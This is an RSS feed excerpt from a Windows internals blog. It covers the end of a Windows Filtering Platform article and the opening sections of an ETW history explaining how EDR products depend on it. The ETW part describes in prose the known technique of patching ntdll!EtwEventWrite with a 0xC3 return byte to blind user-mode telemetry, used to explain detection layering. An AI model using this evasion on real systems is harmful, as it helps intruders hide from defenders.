&lt;p&gt;Whether you are an administrator, a detection engineer, or a kernel driver writer, there are four canonical surfaces you actually touch. Here is the field guide.&lt;/p&gt;
&lt;h3&gt;The diagnostic surface: &lt;code&gt;netsh wfp&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Wikipedia&apos;s WFP page notes the introduction date: &quot;Starting with Windows 7, the netsh command can diagnose of the internal state of WFP&quot; [@wiki-wfp]. The canonical incident-response triplet is three commands long.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Run these three commands, in this order, before doing anything else when a Windows host shows network-filtering behaviour you cannot explain: &lt;code&gt;text netsh wfp show state    &amp;gt; state.xml netsh wfp show filters  &amp;gt; filters.xml netsh wfp capture start file=C:\Temp\wfp.cab :: reproduce the issue netsh wfp capture stop &lt;/code&gt; &lt;code&gt;state.xml&lt;/code&gt; is the platform&apos;s current rendered configuration: every provider, sublayer, filter, and callout currently registered. &lt;code&gt;filters.xml&lt;/code&gt; lists every filter, including effective weight and action. The &lt;code&gt;.cab&lt;/code&gt; from &lt;code&gt;netsh wfp capture&lt;/code&gt; is the ETW-and-state bundle that goes onto a Microsoft Support case. The &lt;code&gt;netsh wfp&lt;/code&gt; family has been around since Windows 7 [@wiki-wfp]; it has not had a major redesign since.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A &lt;code&gt;state.xml&lt;/code&gt; from &lt;code&gt;netsh wfp show state&lt;/code&gt; is an XML document with one &lt;code&gt;&amp;lt;item&amp;gt;&lt;/code&gt; per filter. Each item carries a &lt;code&gt;&amp;lt;displayData&amp;gt;&lt;/code&gt; element with a name and description, the layer GUID, the sublayer GUID, the weight, and the action. Reading one is a matter of pattern recognition rather than parsing. The next snippet walks the structure on a hand-pasted fragment.&lt;/p&gt;
&lt;p&gt;{&lt;code&gt; // A real-world &apos;netsh wfp show state&apos; output contains many &amp;lt;item&amp;gt; elements // inside &amp;lt;filters&amp;gt;. The fragment below is a single filter, hand-pasted from // a &apos;show state&apos; XML dump. const xmlFragment = \&lt;/code&gt;

  {deadbeef-1111-2222-3333-444455556666}
  
    EDR-vendor outbound TCP inspect
    Vendor X deep-inspection callout filter
  
  FWPM_LAYER_ALE_AUTH_CONNECT_V4
  {a0192d10-aaaa-bbbb-cccc-1234567890ab}
  
    FWP_UINT64
    0x4000000000000064
  
  
    FWP_ACTION_CALLOUT_INSPECTION
  

`;&lt;/p&gt;
&lt;p&gt;function readFilter(xml) {
  const get = (tag) =&amp;gt; {
    const m = xml.match(new RegExp(&apos;&amp;lt;&apos; + tag + &apos;&amp;gt;([^&amp;lt;]+)&amp;lt;/&apos; + tag + &apos;&amp;gt;&apos;));
    return m ? m[1].trim() : null;
  };
  return {
    name:    get(&apos;name&apos;),
    layer:   get(&apos;layerKey&apos;),
    subLayer:get(&apos;subLayerKey&apos;),
    weight:  get(&apos;uint64&apos;),
    action:  get(&apos;type&apos;),
  };
}&lt;/p&gt;
&lt;p&gt;console.log(readFilter(xmlFragment));
// {
//   name: &apos;EDR-vendor outbound TCP inspect&apos;,
//   layer: &apos;FWPM_LAYER_ALE_AUTH_CONNECT_V4&apos;,
//   subLayer: &apos;{a0192d10-aaaa-bbbb-cccc-1234567890ab}&apos;,
//   weight: &apos;0x4000000000000064&apos;,
//   action: &apos;FWP_ACTION_CALLOUT_INSPECTION&apos;
// }
`}&lt;/p&gt;
&lt;p&gt;Five fields: name, layer, sublayer, weight, action. That is what every WFP filter resolves to. Reading a hundred of them takes an afternoon.&lt;/p&gt;
&lt;h3&gt;The administrative surface: &lt;code&gt;wf.msc&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;The Microsoft Management Console snap-in is the surface most Windows users have actually clicked. Every rule created in &lt;code&gt;wf.msc&lt;/code&gt; is translated by the &lt;code&gt;MpsSvc&lt;/code&gt; service into a WFP filter and pushed into the BFE&apos;s MPSSVC provider sublayer over RPC, and from there into &lt;code&gt;TCPIP.SYS&lt;/code&gt; in the kernel [@forshaw-2021]. The UI exposes a small fraction of the filter properties WFP actually models; advanced rule attributes (per-AppContainer SID, per-package family name, per-service hardening) live in the underlying filter only.&lt;/p&gt;
&lt;h3&gt;The networking surface: &lt;code&gt;New-NetNat&lt;/code&gt; and Hyper-V NAT switches&lt;/h3&gt;
&lt;p&gt;The PowerShell cmdlet &lt;code&gt;New-NetNat&lt;/code&gt; &quot;creates a Network Address Translation (NAT) object that translates an internal network address to an external network address&quot; [@netnat]. Each NAT object materialises as a set of WFP filters that perform the translation. Windows containers use the same machinery for their default NAT switch. The &lt;code&gt;Get-NetNat&lt;/code&gt;, &lt;code&gt;Remove-NetNat&lt;/code&gt;, and related cmdlets in the &lt;code&gt;NetNat&lt;/code&gt; PowerShell module are the entry point.&lt;/p&gt;
&lt;h3&gt;The driver surface: writing a WFP callout&lt;/h3&gt;
&lt;p&gt;The WDK&apos;s &quot;Introduction to Windows Filtering Platform Callout Drivers&quot; page is the entry point for kernel-mode writers [@wfp-callouts]. The reference sample, &lt;code&gt;WFPSampler&lt;/code&gt;, lives in the &lt;code&gt;microsoft/Windows-driver-samples&lt;/code&gt; repository under &lt;code&gt;network/trans/WFPSampler&lt;/code&gt;. The sample&apos;s description: &quot;The WFPSampler sample driver is a sample firewall. It has a command-line interface which allows adding filters at various WFP layers with a wide variety of conditions. Additionally it exposes callout functions for injection, basic action, proxying, and stream inspection&quot; [@wfpsampler]. The sample ships five components: &lt;code&gt;WFPSampler.Exe&lt;/code&gt;, &lt;code&gt;WFPSamplerService.Exe&lt;/code&gt;, &lt;code&gt;WFPSamplerCalloutDriver.Sys&lt;/code&gt;, &lt;code&gt;WFPSamplerProxyService.Exe&lt;/code&gt;, and the two libraries &lt;code&gt;WFPSampler.Lib&lt;/code&gt; / &lt;code&gt;WFPSamplerSys.Lib&lt;/code&gt;.If you install WFPSampler and the installer refuses to register without a reboot prompt, the README documents a workaround: run &lt;code&gt;RunDLL32 setupapi.dll,InstallHinfSection DefaultInstall 131 wfpsampler.inf&lt;/code&gt; (note the &lt;code&gt;131&lt;/code&gt;), and &lt;code&gt;RunDLL32 setupapi.dll,InstallHinfSection DefaultInstall 132 wfpsampler.inf&lt;/code&gt; for the corresponding uninstall codepath [@wfpsampler]. The 131/132 flags suppress the reboot prompt for the in-tree sample driver.&lt;/p&gt;
&lt;p&gt;A WFP callout driver that originates kernel-mode network I/O should pair with Winsock Kernel.&lt;/p&gt;

&quot;Winsock Kernel (WSK) is a kernel-mode Network Programming Interface (NPI)&quot; [@wsk-intro]. WSK is the modern replacement for TDI as the kernel-mode sockets API on Windows Vista and later. Microsoft&apos;s WSK introduction makes the split explicit: &quot;Filter drivers should implement the Windows Filtering Platform on Windows Vista, and TDI clients should implement WSK&quot; [@wsk-intro]. WFP filters traffic. WSK opens sockets from inside the kernel. The two interfaces are siblings.

Before writing a callout driver, ask: does the policy need per-packet kernel visibility, or would a user-mode service that consumes ETW events from `Microsoft-Windows-WFP` and the firewall&apos;s ETW providers be enough? Most logging and detection use cases are answered by ETW. A callout driver is justified when you need to *act on* traffic (drop, redirect, modify, inspect payload), not just *observe* it. The kernel attack surface that comes with a callout, documented in Section 8, is now yours to share once you ship.
&lt;p&gt;The detection-engineering surface lives in &lt;a href=&quot;https://paragmali.com/blog/etw-how-windows-2000s-performance-hack-became-the-edr-substr/&quot; rel=&quot;noopener&quot;&gt;ETW&lt;/a&gt;. The two providers to know are &lt;code&gt;Microsoft-Windows-WFP&lt;/code&gt; and &lt;code&gt;Microsoft-Windows-Windows Firewall With Advanced Security&lt;/code&gt;. Names are not enough to do the full subject justice; the cross-reference footer below points at the dedicated ETW article in this series.&lt;/p&gt;
&lt;p&gt;You now have a mental map of every place WFP touches a Windows host -- under the firewall UI, under IPsec, under WinNAT, under the Hyper-V vSwitch, under Defender for Endpoint, under every EDR. The FAQ disarms the last eight misconceptions.&lt;/p&gt;
&lt;h2&gt;11. Frequently Asked Questions&lt;/h2&gt;

No. WFP is the platform; the Windows Firewall (WFAS, service name `MpsSvc`) is one consumer of it. Microsoft&apos;s start page makes the relationship explicit: &quot;Windows Firewall with Advanced Security (WFAS) is implemented using WFP&quot; [@wfp-start]. The Base Filtering Engine service (`bfe`) hosts the user-mode side of WFP and accepts policy from `MpsSvc` over RPC [@forshaw-2021]. Two user-mode services and a kernel-mode classification path, one platform.

No. `fwpkclnt.sys` is the kernel-mode WFP client and export driver. Callout drivers link against `fwpkclnt.lib`, whose in-memory form is `fwpkclnt.sys` [@wfp-arch]. The classification path -- the code that walks sublayers and filters -- runs primarily inside `NETIO.SYS`, as Forshaw documents in his Project Zero post [@forshaw-2021]. The shorthand &quot;`fwpkclnt.sys` is the filter engine&quot; is common online and incorrect.

No. BFE (service name `bfe`) is the Base Filtering Engine -- the platform service that controls WFP and plumbs configuration to other modules, including IPsec keying [@wfp-about]. `MpsSvc` is the Windows Defender Firewall service. `MpsSvc` depends on `bfe`; the dependency is not reciprocal [@forshaw-2021].

No. WFP callouts see plaintext only for non-IPsec, non-TLS payloads, or for IPsec traffic where the kernel holds the keys. TLS 1.3 and QUIC are end-to-end encrypted from a callout&apos;s perspective; the keys live in user-mode TLS libraries inside the application. Microsoft&apos;s own Defender for Endpoint Network Protection documentation acknowledges the limit: &quot;Blocking FQDNs in non-Microsoft browsers requires that QUIC and Encrypted Client Hello be disabled in those browsers&quot; [@mde-netprot]. Section 8 calls this the encryption ceiling.

No. SecureNAT is an ISA Server / Forefront Threat Management Gateway concept, retired with TMG. The modern Windows-host NAT on WFP is **WinNAT**, managed by the `New-NetNat` PowerShell cmdlet [@netnat]. Windows containers use WinNAT for their default NAT switch. The original input scope that informed this article erroneously referenced &quot;SecureNAT&quot; as a WFP consumer; the focus-premise audit corrected it to WinNAT before drafting began.

No. WSK is **Winsock Kernel**. Microsoft Learn&apos;s introduction is unambiguous: &quot;Winsock Kernel (WSK) is a kernel-mode Network Programming Interface (NPI)&quot; [@wsk-intro]. The two-letter prefix is &quot;Winsock,&quot; the original Windows Sockets API brand, not &quot;Windows Sockets.&quot;

No. CVE-2024-21318 is a Microsoft SharePoint Server deserialization remote code execution vulnerability, unrelated to the Base Filtering Engine. The 2024 WFP elevation-of-privilege vulnerability is **CVE-2024-38034**: a CWE-190 integer overflow with a CVSS base of 7.8 [@nvd-2024-38034]. The article&apos;s source-verification stage flagged the original scope&apos;s CVE attribution error before drafting; the article tracks CVE-2024-38034 and CVE-2023-29368 as the two anchor BFE CVEs.

Only at the 5-tuple level (IP, port, protocol) before or after a connection establishes. Once a QUIC connection is up, the encryption ceiling applies and the kernel has no key for the encrypted payload [@mde-netprot]. FQDN-level blocking of QUIC over Network Protection requires QUIC to be disabled in the browser, per Microsoft&apos;s own troubleshooting guide [@mde-netprot]. Deep inspection of QUIC content from the kernel is not possible with WFP alone.
&lt;hr /&gt;
&lt;p&gt;&lt;strong&gt;See also.&lt;/strong&gt; The Microsoft-Windows-WFP and Microsoft-Windows-Windows Firewall ETW providers are how detection-engineering teams see WFP from outside the kernel; the dedicated ETW article in this series goes deeper on the provider names, manifests, and parsing. The &lt;a href=&quot;https://paragmali.com/blog/amsi-the-pre-execution-window-defender/&quot; rel=&quot;noopener&quot;&gt;Antimalware Scan Interface (AMSI)&lt;/a&gt; sits on the process-side path that complements WFP&apos;s network-side path; the two are siblings, not substitutes. And the &lt;code&gt;\Device\Ipfilterdriver&lt;/code&gt; device object that this article retired in Section 3 lives in the Windows &lt;a href=&quot;https://paragmali.com/blog/the-object-manager-namespace/&quot; rel=&quot;noopener&quot;&gt;Object Manager namespace&lt;/a&gt;, whose architecture is the subject of the Object Manager article in this series.&lt;/p&gt;
&lt;p&gt;&amp;lt;StudyGuide slug=&quot;windows-filtering-platform-the-kernel-mode-firewall-you-dont-see&quot; keyTerms={[
  { term: &quot;Windows Filtering Platform (WFP)&quot;, definition: &quot;Cross-mode kernel/user-mode filtering service introduced in Windows Vista that replaced NDIS-IM, filter-hook, TDI-filter, and Winsock LSP as the in-box network filtering surface.&quot; },
  { term: &quot;Base Filtering Engine (BFE)&quot;, definition: &quot;The Windows service (bfe) that controls WFP and plumbs configuration to other modules. Not the same as MpsSvc.&quot; },
  { term: &quot;Filter Engine&quot;, definition: &quot;The core WFP component that stores filters and performs filter arbitration. Hosted in both kernel mode and user mode; kernel classification runs primarily in NETIO.SYS.&quot; },
  { term: &quot;Shim&quot;, definition: &quot;Kernel-mode bridge between a network-stack module and the filter engine. Vista shipped six: ALE, Transport Layer Module, Network Layer Module, ICMP Error, Discard, Stream.&quot; },
  { term: &quot;Application Layer Enforcement (ALE)&quot;, definition: &quot;Set of WFP layers used for stateful filtering and the only layers where filters can match on application identity (normalized file name) and user identity (security descriptor).&quot; },
  { term: &quot;Sublayer&quot;, definition: &quot;Priority-ordered subdivision of a WFP filtering layer. Vendors are expected to create their own sublayer via FwpmSubLayerAdd0.&quot; },
  { term: &quot;Filter Weight&quot;, definition: &quot;64-bit value ordering filter evaluation within a sublayer. May be set as an explicit FWP_UINT64, generated by BFE (FWP_EMPTY), or partitioned into one of 16 high-order ranges via FWP_UINT8.&quot; },
  { term: &quot;Callout Driver&quot;, definition: &quot;Kernel driver registered with the filter engine that performs deep inspection, packet modification, stream modification, or data logging when a filter selects it.&quot; },
  { term: &quot;fwpkclnt.sys&quot;, definition: &quot;Kernel-mode WFP client / export driver. Callouts link against fwpkclnt.lib; the in-memory module is fwpkclnt.sys. Not the filter engine.&quot; },
  { term: &quot;Winsock Kernel (WSK)&quot;, definition: &quot;Kernel-mode sockets NPI introduced in Vista. WFP filters traffic; WSK opens sockets from inside the kernel. Replaces TDI for kernel-mode socket clients.&quot; },
  { term: &quot;NDIS Lightweight Filter (LWF)&quot;, definition: &quot;L2 filter driver introduced in NDIS 6.0 to replace NDIS 5.x intermediate drivers. Sees Ethernet frames before IP processing; no application identity.&quot; }
]} questions={[
  { q: &quot;Why did the four pre-WFP hooks (NDIS-IM, filter-hook, TDI-filter, LSP) fail collectively?&quot;, a: &quot;Each hook had a specific architectural flaw -- one callback pointer with no documented chaining for filter-hook, no application identity for NDIS-IM, a deprecated substrate for TDI, in-process bypass for LSP. Together those flaws made multi-vendor coexistence impossible, which the Pawar/Stenson 2006 WinHEC deck pinned at 12 percent of all OS crashes.&quot; },
  { q: &quot;What is the difference between BFE and MpsSvc?&quot;, a: &quot;BFE is the Base Filtering Engine (the WFP platform service). MpsSvc is the Windows Defender Firewall service (one consumer of the platform). MpsSvc depends on BFE; the dependency is one-way.&quot; },
  { q: &quot;How does WFP arbitrate two filters at the same layer with the same priority?&quot;, a: &quot;Filters live inside sublayers. Sublayers are priority-ordered; filters within a sublayer are weight-ordered. Hard Block and Hard Permit are terminal; Soft Block and Soft Permit can be overridden by a later evaluator; Block overrides Permit when nothing else terminates evaluation.&quot; },
  { q: &quot;Why can a WFP callout not block QUIC by hostname?&quot;, a: &quot;QUIC encrypts almost all of its control plane from the first byte using a key derived from the connection&apos;s initial secret. The kernel has no access to that key; the keys live in the application&apos;s user-mode QUIC stack. WFP can block QUIC only at the 5-tuple level. FQDN blocking requires QUIC and Encrypted Client Hello to be disabled in the browser, per Microsoft&apos;s own Network Protection documentation.&quot; },
  { q: &quot;What is the structural reason BFE keeps producing elevation-of-privilege CVEs?&quot;, a: &quot;Every callout is a kernel module and every Fwpm* call crosses a user-to-kernel ABI. The integer-overflow / use-after-free attack surface is intrinsic to that boundary. CVE-2023-29368 (CWE-415, CVSS 7.0) and CVE-2024-38034 (CWE-190, CVSS 7.8) are the two anchor CVEs of the class; the 2024 vulnerability is rated easier to weaponise than the 2023 one.&quot; }
]} /&amp;gt;&lt;/p&gt;
</content:encoded><category>windows</category><category>windows-filtering-platform</category><category>kernel</category><category>firewall</category><category>network-security</category><category>ipsec</category><category>edr</category><category>wfp</category><author>noreply@paragmali.com (Parag Mali)</author></item><item><title>ETW: How Windows 2000&apos;s Performance Hack Became the EDR Substrate</title><link>https://paragmali.com/blog/etw-how-windows-2000s-performance-hack-became-the-edr-substr/</link><guid isPermaLink="true">https://paragmali.com/blog/etw-how-windows-2000s-performance-hack-became-the-edr-substr/</guid><description>Event Tracing for Windows is the kernel-buffered observability bus every modern Windows EDR consumes. This is the architecture, the attacks, and the one provider that survives them.</description><pubDate>Mon, 11 May 2026 00:00:00 GMT</pubDate><content:encoded>
Event Tracing for Windows is the high-rate, kernel-buffered observability bus that every modern Windows EDR consumes. A 2007-era architectural decision -- letting eight sessions read the same provider concurrently -- is what makes multi-vendor coexistence possible on a single host. Microsoft&apos;s `Microsoft-Windows-Threat-Intelligence` provider, gated behind Protected Process Light and an ELAM-signed Antimalware certificate since the Windows 10 RS-era, fires from the kernel side of memory-modifying syscalls and survives the user-mode `EtwEventWrite` patch class that defined red-team tradecraft from 2020 to 2022. The remaining attack surface -- BYOVD-driven kernel tampering -- is structurally narrowed by the Vulnerable Driver Blocklist enabled by default since Windows 11 22H2, with the residual sub-microsecond-payload gap remaining as ETW&apos;s irreducible &quot;observation, not enforcement&quot; limit.
&lt;h2&gt;1. Why didn&apos;t the patch silence Defender?&lt;/h2&gt;
&lt;p&gt;A red-team operator drops onto a 2026 Defender [@paragmali-com-war-it]-protected box and runs the move that worked five years ago. They locate &lt;code&gt;ntdll!EtwEventWrite&lt;/code&gt; in the calling process, write the byte &lt;code&gt;0xC3&lt;/code&gt; over the function prologue, and the calling process now silently fails to emit user-mode ETW events. The .NET CLR provider goes dark. &lt;code&gt;Invoke-Mimikatz&lt;/code&gt; loads from &lt;code&gt;execute-assembly&lt;/code&gt; without lighting up &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt;. Defender catches the credential dump [@paragmali-com-and-the] anyway, four seconds later, and the operator is on a SOC analyst&apos;s screen before the shellcode finishes running.&lt;/p&gt;
&lt;p&gt;The patch worked. The .NET tracing provider in that process is mute. Attach a debugger and disassemble the function prologue: the first byte is now &lt;code&gt;0xC3&lt;/code&gt;, the near-return opcode [@felixcloutier-ret] [@felixcloutier-ret], and any caller falls straight back to its return address before producing a single event. The technique is the one Adam Chester documented in March 2020 [@xpn-hiding-dotnet] [@xpn-hiding-dotnet], and to a generation of red teamers it has functioned as a near-universal ETW evasion ever since.&lt;/p&gt;
&lt;p&gt;So why did Defender still fire?&lt;/p&gt;
&lt;p&gt;Because Defender does not consume &lt;code&gt;Microsoft-Windows-DotNETRuntime&lt;/code&gt; to detect a credential dump. It consumes &lt;code&gt;Microsoft-Windows-Threat-Intelligence&lt;/code&gt; [@fluxsec-eti] [@fluxsec-eti] -- a provider whose GUID is &lt;code&gt;{f4e1897c-bb5d-5668-f1d8-040f4d8dd344}&lt;/code&gt;, whose events fire from inside the kernel side of memory-modifying syscalls, and whose producer the user-mode patcher cannot reach. The patch operated on a &lt;code&gt;ntdll&lt;/code&gt; trampoline. The signal Defender used was emitted from a different layer entirely.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Key idea:&lt;/strong&gt; Modern Windows EDR is layered on ETW, and the layers fail under different attacks.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That single asymmetry -- one provider goes dark to a one-byte patch, another fires from a place the patcher cannot touch -- is the spine of this article. Around it sits a 26-year story of one Microsoft team accidentally building the substrate of every modern Windows endpoint security product.&lt;/p&gt;

A high-rate, kernel-buffered tracing facility built into Windows since 2000. Components called *providers* emit events tagged with a GUID; *controllers* configure trace sessions; *consumers* subscribe to live event streams or read recorded `.etl` files. ETW was designed for low-overhead developer diagnostics; it was retrofitted into the security-telemetry substrate that all modern Windows EDR products consume.

A class of endpoint security product that ingests behavioural telemetry (process creation, image load, memory allocation, network connection, registry change), correlates it against detection logic, and produces alerts and response actions. On Windows, the dominant EDRs (Microsoft Defender for Endpoint, CrowdStrike Falcon, SentinelOne, Elastic Defend, Wazuh, Sysmon-plus-SIEM) all build on ETW or on the same kernel callbacks ETW exposes to the user-mode tier.
&lt;p&gt;To understand why a one-byte patch silences one provider but not another, we have to go back to a Windows 2000 design decision about per-CPU ring buffers.&lt;/p&gt;
&lt;h2&gt;2. ETW in Windows 2000: the performance problem that started it all&lt;/h2&gt;
&lt;p&gt;Imagine a 1999 network-driver author. A customer&apos;s NT4 production server is corrupting packets under load and the only available instrumentation is &lt;code&gt;DbgPrint&lt;/code&gt;. Each call serialises through a kernel debug port, costs measurable percentage points of CPU on a busy box, and ships data to whoever happens to have the kernel debugger attached. The customer says no. The bug reproduces only at production traffic levels. You cannot ship enough printf-debugging through a debug port to find it.&lt;/p&gt;
&lt;p&gt;That is the engineering pain Insung Park and Ricky Buch&apos;s team was solving when ETW shipped with Windows 2000. Their design moves -- recorded years later in the definitive April 2007 MSDN Magazine article on the Vista upgrade [@ms-park-buch-2007] [@ms-park-buch-2007] -- still define the architecture two and a half decades later.&lt;/p&gt;
&lt;p&gt;The first move was per-CPU ring buffers. A producer on CPU 7 writes to CPU 7&apos;s buffer with no lock contention against producers on other CPUs. Hot-path tracing on a 64-core machine does not serialise. The kernel allocates at least two buffers per logical processor [@ms-event-trace-props] [@ms-event-trace-props] so a producer can keep writing while a writer thread drains the previous buffer.&lt;/p&gt;
&lt;p&gt;The second move was an asynchronous writer thread. The producer never blocks on disk I/O. It writes to its CPU&apos;s buffer and returns. A separate kernel thread drains buffers to file or hands them to a real-time consumer. ETW pushes the latency tax onto the consumer and the storage path, never onto the producer&apos;s hot loop.&lt;/p&gt;
&lt;p&gt;The third move was dynamic enable and disable. Park and Buch describe the resulting capability in one sentence:&lt;/p&gt;

ETW gives you the ability to enable and disable logging dynamically, making it easy to perform detailed tracing in production environments without requiring reboots or application restarts. -- Park &amp;amp; Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]
&lt;p&gt;That sentence is the entire reason ETW could later become the EDR substrate. A producer compiles its trace points into shipping code at low cost; a controller flips them on at runtime when somebody actually wants the data. Without that property, you cannot build a security product that ships universal kernel tracing on a billion endpoints.&lt;/p&gt;
&lt;p&gt;The fourth move was the trichotomy of providers, controllers, and consumers [@ms-etw-wdk] [@ms-etw-wdk]. Microsoft did not write ETW as an internal-only facility. From the start, third parties could write providers (driver authors instrumenting their own code), controllers (performance tools starting and stopping sessions), and consumers (analyzers reading event streams). The architecture is open by design.&lt;/p&gt;

A component that emits ETW events, identified by a GUID. A provider is registered with the system at runtime via the `EventRegister` API (or its predecessor `RegisterTraceGuids` for classic providers) and emits events via `EventWrite` (or `TraceEvent`). Providers ship inside Windows itself, inside Microsoft applications, and inside any third-party binary that wants to expose tracing.

A component that creates, configures, enables, and stops trace sessions. Controllers select which providers a session subscribes to and at which level and keyword bitmask. The Windows Performance Recorder, `logman`, `xperf`, and every EDR&apos;s session-management code are controllers.

A component that reads events from a session in real time or from an `.etl` file on disk. Consumers register a callback that the system invokes once per delivered event. The Windows Performance Analyzer, the krabsetw library, SilkETW, and every EDR&apos;s sensor process are consumers.

flowchart LR
    Ctl[Controller&lt;br /&gt;StartTrace + EnableTrace] --&amp;gt; Sess[Trace Session&lt;br /&gt;per-session buffer pool]
    P1[Provider on CPU 0] --&amp;gt; CPU0[CPU 0 buffer]
    P2[Provider on CPU 1] --&amp;gt; CPU1[CPU 1 buffer]
    P3[Provider on CPU N] --&amp;gt; CPUN[CPU N buffer]
    CPU0 --&amp;gt; WT[Writer thread&lt;br /&gt;asynchronous drain]
    CPU1 --&amp;gt; WT
    CPUN --&amp;gt; WT
    Sess -.governs.-&amp;gt; CPU0
    Sess -.governs.-&amp;gt; CPU1
    Sess -.governs.-&amp;gt; CPUN
    WT --&amp;gt; File[(.etl file)]
    WT --&amp;gt; RT[Real-time consumer&lt;br /&gt;OpenTrace + ProcessTrace]
&lt;p&gt;The original Windows 2000 implementation supported 32 trace sessions running simultaneously [@ms-etw-sessions] [@ms-etw-sessions], a number Microsoft later raised to 64 globally. ETW was framed as a developer-diagnostics facility -- the Windows Driver Kit primary still describes it that way [@ms-etw-wdk] [@ms-etw-wdk] -- and the security-telemetry use case did not exist for almost a decade.&lt;/p&gt;
&lt;p&gt;But the design choices that made ETW good for low-overhead production diagnostics turn out to be exactly the design choices a security telemetry bus needs. Per-CPU buffers solve the multi-core throughput problem. Asynchronous writes solve the producer-latency problem. Dynamic enable solves the always-shipping-but-mostly-off problem. The trichotomy solves the third-party-extensibility problem. Twenty-five years later, every modern Windows EDR consumes telemetry through the same four primitives.Windows 2000&apos;s 32-session global cap [@ms-etw-sessions] is preserved verbatim on the modern Microsoft Learn page: &quot;Windows 2000: Supports only 32 event tracing sessions.&quot; The cap doubled to 64 in later releases and has stayed there ever since.&lt;/p&gt;
&lt;p&gt;The 2000-era design carried one limit, however, that turned out to matter for security: only one trace session could enable a classic provider at a time. The next ten years would be defined by the consequences.&lt;/p&gt;
&lt;h2&gt;3. The MOF era: one session, one steal, one decade of coexistence pain&lt;/h2&gt;
&lt;p&gt;In 2005, a third-party performance monitor that registered a classic provider could find itself silently disabled the moment Microsoft&apos;s &lt;code&gt;wprui.exe&lt;/code&gt; started its own session against the same provider GUID. The first session got no error. It just stopped receiving events. That second-consumer-steals-first behavior is the architectural fact of the entire 2000-2007 era.&lt;/p&gt;
&lt;p&gt;Microsoft Learn still documents the rule in one sentence:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; &quot;Up to eight trace sessions can enable and receive events from the same manifest-based provider. However, only one trace session can enable a classic provider. If more than one trace session tries to enable a classic provider, the first session would stop receiving events when the second session enables the provider.&quot; -- Microsoft Learn, Configuring and Starting an Event Tracing Session [@ms-etw-config] [@ms-etw-config]&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;That single rule made multi-EDR coexistence on classic providers structurally impossible. If Defender&apos;s predecessor and a third-party HIPS both wanted real-time process events from the same classic provider, they had to fight for it. The loser got silence with no notification.&lt;/p&gt;
&lt;p&gt;The provider class involved was &lt;em&gt;MOF-based&lt;/em&gt;, named after the schema language that described its events.&lt;/p&gt;

The schema description language inherited from WBEM (Web-Based Enterprise Management). For ETW, MOF files describe each event a classic provider can emit -- field names, types, tasks, opcodes -- and are compiled into the WMI repository at install time using `mofcomp`. Consumers decode events by querying the WMI repository for the matching MOF schema.

A synonym for *MOF provider*. The original ETW provider class introduced in Windows 2000. Registered with `RegisterTraceGuids`, emits events via `TraceEvent`, decoded against a MOF schema in the WMI repository. Capped at one trace session per provider.
&lt;p&gt;The MOF model was workable for a single-consumer world. A performance-tuning team running an in-house tool could enable the provider, capture, and disable. As the substrate of a security stack with multiple agents on the same host, it could not work. The mid-2000s had not yet produced a &quot;multiple agents on the same host&quot; world, so the limit did not bite immediately. By 2007 it would.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Class&lt;/th&gt;
&lt;th&gt;Era&lt;/th&gt;
&lt;th&gt;Schema location&lt;/th&gt;
&lt;th&gt;Sessions/provider&lt;/th&gt;
&lt;th&gt;Adoption in 2026&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;MOF / classic&lt;/td&gt;
&lt;td&gt;2000&lt;/td&gt;
&lt;td&gt;WMI repository&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Niche; mostly NT Kernel Logger&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WPP&lt;/td&gt;
&lt;td&gt;2002&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.pdb&lt;/code&gt; (TMF)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Pervasive inside Windows internals&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Manifest-based&lt;/td&gt;
&lt;td&gt;2007 (Vista)&lt;/td&gt;
&lt;td&gt;XML manifest&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Dominant for security telemetry&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TraceLogging&lt;/td&gt;
&lt;td&gt;2015 (Win10)&lt;/td&gt;
&lt;td&gt;Inline (TLV)&lt;/td&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;Rising for new app/service code&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;A handful of classic providers survived the 2007 transition and are still significant. The most important is the NT Kernel Logger [@ms-etw-sessions] [@ms-etw-sessions], the special-purpose system session that captures high-throughput kernel events: file I/O, disk I/O, registry operations, network packets. On most consumer SKUs it remains the only path to those event streams at line rate. Sysmon and most kernel-level diagnostics tools use the NT Kernel Logger or its modern descendants.The NT Kernel Logger is a system reserved logger. There is exactly one of it on a host, and the kernel itself owns the buffers. Tools that want kernel disk, file, registry, or network events at high throughput typically subscribe through it rather than through manifest providers. This is why a host can have eight &lt;code&gt;Microsoft-Windows-Kernel-File&lt;/code&gt; consumers but cannot easily have two simultaneous full-fidelity disk I/O traces.&lt;/p&gt;
&lt;p&gt;By 2007 Microsoft knew the one-session limit had to go. The fix shipped with Windows Vista in January 2007, and it was the central architectural decision of the entire ETW-as-EDR-substrate story.&lt;/p&gt;
&lt;h2&gt;4. Vista&apos;s eight sessions: the architectural decision that made the modern EDR endpoint possible&lt;/h2&gt;
&lt;p&gt;Park and Buch open their April 2007 MSDN Magazine article with the line that frames every later development:&lt;/p&gt;

On Windows Vista, ETW has gone through a major upgrade, and one of the most significant changes is the introduction of the unified event provider model and APIs. -- Park &amp;amp; Buch, *MSDN Magazine*, April 2007 [@ms-park-buch-2007]
